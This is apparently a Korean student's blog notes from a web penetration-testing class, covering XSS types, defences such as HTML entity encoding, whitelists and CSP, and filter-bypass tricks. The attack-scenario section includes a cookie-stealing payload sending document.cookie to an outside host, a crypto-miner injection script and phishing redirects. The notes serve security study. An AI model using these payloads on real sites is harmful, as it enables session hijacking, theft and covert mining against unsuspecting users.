Today I Learned …

[수업] 6주차 정리 본문

Study/수업

[수업] 6주차 정리

염베리 2021. 11. 18. 22:04

* 해당 주차의 수업 내용을 정리합니다.


+ 모의해킹 연봉

> 회사 : 3000 - 3500

-> 200 - 250

 

> 3년 : 중급

프리랜서 : 700 - 1000

보안 담당자

컨설팅 사업


* SQLi

docker

 

FLAG, 풀이

CTF : Capture The Flag


* XSS

- Stored XSS

- Reflected XSS

- DOM Based XSS

 

XSS

<script>alert(1);</script>

 

* Bug Bounty

> 같은 취약점도 위처럼 달랑 쓰면 100만원, 시나리오 형식으로 제시하면 1000만원일 정도로 중요함

 

* XSS 어떻게 막을 수 있을까? (스터디원들 조사)

> 입출력 HTML Entity 전환 필터링

> White List XSS 필터링

> 보안 라이브러리 사용

> Black List 기반 필터링

> 보안 정책 CSP

> 문자열 길이 제한

> 웹 방화벽 (WAF)

 

* 입력/출력

 

* XSS 대응 방안 (Normaltic님 정답)

- 파라미터에서 HTML 특수 문자들을 HTML Entity로 표현해줍니다.

 

HTML Entity

<, >

&lt; &gt;

> 입력

> 출력

 

- 게시판

HTML Editor

 

<img>

 

Step 1. 전부 다 HTML Entity로 치환

-> &lt;img&gt;

 

Step 2. White List 기반으로 허용 태그 살려줍니다.

<img>, <iframe>

-> <img>

<img src=x onerror>

 

Step 3. Black List 기반으로 악성 이벤트 핸들러 필터링해준다.

onerror, onload

 

* Bypass 기법

> 보안 라이브러리 사용

> Black List 기반 필터링

- 대소문자 혼합 ScRipt

- 키워드 반복 <scrscriptipt>

* URL Double Encoding " -> %22 -> %2522

%2522 -> %22 -> "

 

- Event Handler : onerror, onload

- Tag

 

* onmouseover : 유용함

> 제목 onload : 냅다 alert 켜버리면 이용자, 보안담당자 화들짝

<img src=1 onmouseover="alert()">

 

> 웹 방화벽 (WAF)

 

: 우회가 가능할 수 있습니다.

1. Client 측 검증

-> 편의 기능

 

: 주민등록 검증 (Javascript)

 

: Burp Suite (Web Proxy)

 

<script>alert(1);</script>

Hello~

 

> 문자열 길이 제한

> 50

> <script src="a/x"></script> 얼마든지 짧게 가능

 

+ 예상 외 XSS 포인트

- 내부적으로 통신하는 패킷

- javascript 태그 안

<script>

    var a = "";

</script>

 

> 보안 정책 CSP

HttpOnly

-> Session ID

XSS

document.cookie = "123123123"

 

* 웹 방화벽 (WAF) (Web Application Firewall)

> 끄고 하는게 고객사에게 좋음

> 키고 하면 사실상 웹앱이 아니라 솔루션 뚫는 것이 됨

 

* 웹 페이지

> 로그인

> 계정 X

 

* XSS 공격 시나리오

> Session ID 탈취

<script>document.write('<img src="http://normaltic.com/?'+document.cookie+' "/>');</script>

: 로그인 후 사용하는 페이지들

 

+ 카페

MITM 스니핑 python ㄷㄷ;

 

> HTML Injection (script)

 

> KeyLogger 삽입

: 로그인 form 태그가 있는 페이지에 XSS 취약점이 있는 경우 사용

 

> 정~ 없다..

: alert(1) ㅎ

-> alert(1) 국룰이긴 함! 시나리오 추가 = 맛있게 양념 뿌리기

 

> Miner 실행

<script src="https://coin-hive.com/lib/coinhive.min.js">var miner = new CoinHive.Anonymous('thisistest');miner.start();</script>

: 사진, 동영상, 영화 2시간

 

> Redirect

링크

Reflected XSS
alert("로그인이 필요합니다.")

location.href="피싱페이지";

<script>location.href="https://normaltic.com";</script> : 페이지 이동 (뒤로가기 가능)

<script>location.replace("https://normaltic.com");</script> : 페이지 교체 (뒤로가기 불가)

 

VPS 가상 사설 서버 만들면 유용

> ex) vultr 제일 저렴 $11

> 싸고, 빠르고, 웬만하면 아시아 쪽 (한국이면 더 좋음 : 빠름)

 

XSS 보고서

> 내 웹페이지에 있는 모든 XSS 취약점 찾아보기

> URL 파라미터 개수 당 취약점 1개로 침

'Study > 수업' 카테고리의 다른 글

[수업] 8주차 정리  (0) 2021.12.02
[수업] 7주차 정리  (0) 2021.11.25
[수업] 5주차 정리  (0) 2021.11.18
[수업] 4주차 정리  (0) 2021.11.04
[수업] 3주차 정리  (0) 2021.10.29
프로필사진
berry
FE Developer, loves React & better DX
Comments